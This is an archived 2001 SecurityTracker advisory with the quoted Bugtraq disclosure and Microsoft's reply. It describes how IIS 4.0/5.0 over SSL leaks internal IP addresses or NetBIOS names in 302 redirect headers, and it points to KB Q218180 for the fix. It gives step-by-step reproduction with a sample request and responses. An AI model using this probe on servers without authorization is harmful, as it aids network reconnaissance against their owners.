(Knowledge Base Article Covers This Issue) Re: Microsoft Internet Information Server (IIS) Web Server Discloses Internal IP Addresses or NetBIOS Host Names to Remote Users
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SecurityTracker Alert ID: 1002171 |
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SecurityTracker URL: http://securitytracker.com/id/1002171
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Aug 10 2001
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Impact:
Disclosure of system information
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Fix Available: Yes
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Version(s): 4.0 with SSL, 5.0 with SSL
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Description:
A vulnerability was reported by e-Synergies in Microsoft's IIS web server that allows remote users to determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
A remote user can connect to the web server using SSL (on TCP port 443) and retrieve internal IP addresses or determine the host's network node hostname.
The following steps can be followed to trigger the vulnerability:
1- Browse the web site using a normal SSL browser and find any directory (i.e., https://[targethost]/images/icon.gif).
2- Using a compatible SSL Perl script, execute the following command once connected to port 443 of [targethost]:
GET /images HTTP/1.0
3- The result returned by the secure web server should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
It is reported that using HTTP/1.1 in the request instead of HTTP/1.0 will not give the same results.
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Impact:
A remote user can determine internal IP addresses used by the web server or internal NetBIOS host names used by the web server.
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Solution:
There is a Knowledge Base article that covers this issue. The article reportedly contains information on how to force IIS to use the fully qualified domain name (FQDN) instead of the IP address.
The article is titled: (Q218180) Internet Information Server Returns IP Address in HTTP Header Content-Location)
The article is available at:
http://support.microsoft.com/directory/article.asp?id=KB;EN-US;Q218180
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Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
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Cause:
State error
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Underlying OS:
Windows (NT), Windows (2000)
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Message History:
This archive entry is a follow-up to the message listed below.
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Source Message Contents
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Date: Thu, 9 Aug 2001 10:24:52 -0700
Subject: RE: Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0
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The checklists for securing IIS4 and IIS5 discuss this issue.
Specifically:
"Disable IP Address in Content-Location
The Content-Location header may expose internal IP addresses that are
usually hidden or masked behind a Network Address Translation (NAT)
Firewall or proxy server. Refer to Q218180 for further information about
disabling this option."
The referenced Knowledge Base Article contains information on how to
force IIS to use the FQDN instead of the IP address.
(Q218180) Internet Information Server Returns IP Address in HTTP Header
(Content-Location) -
http://support.microsoft.com/directory/article.asp?id=KB;EN-US;Q218180
"There is a value that can be modified in the IIS metabase to change the
default behavior from exposing IP addresses to send the FQDN instead.
This allows the IP address to be masked by the domain name."
The IIS4 checklist is available here:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsol
utions/security/tools/iischk.asp
And the IIS5 checklist here:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsol
utions/security/tools/iis5chk.asp
Regards,
Secure@Microsoft.com
-----Original Message-----
From: Marek Roy [mailto:marek_roy@hotmail.com]
Sent: Tuesday, August 07, 2001 9:55 PM
To: bugtraq@securityfocus.com
Subject: Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0
GGS-AU / e-Synergies Security Advisory
August 8, 2001
Internal IP Address Disclosure in Microsoft-IIS 4.0 &
5.0
Synopsis:
e-Synergies has discovered and researched remote
vulnerability in Internet Information Server from
Microsoft. Successful
exploitation of this vulnerability can reveal critical
internal information such as Internal IP Address or
Internal host name.
Affected Versions:
Microsoft IIS 4.0 running SSL
Microsoft IIS 5.0 running SSL
Description:
By connecting manually to port TCP/443 (SSL) using
Perl(SSLeay) or any other tools, a remote user has
the ability to retrieve
Internal IP address or reveal the machine's network
node hostname.
Exploit:
1- Browse the web site using a normal SSL
browser and find any directory. I.E.:
https://www.target.com/images/icon.gif
2- Using a compatible SSL Perl script, execute the
following command once connected to port 443 of
www.target.com:
GET /images HTTP/1.0
3- The result should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
Remarks:
Using HTTP/1.1 instead of HTTP/1.0 will not give the
same result.
Credits:
Marek Roy
Senior IT Security Consultant
Please send suggestions, updates, and comments to:
GGS-AU / e-synergies, Sydney, Australia
Level 9
65 York Street
Sydney NSW 2001
Australia
Phone: +61 2 9279 2533
Fax: +61 2 9279 2544
Email: enquiries@ggs-au.com
http://www.ggs-au.com
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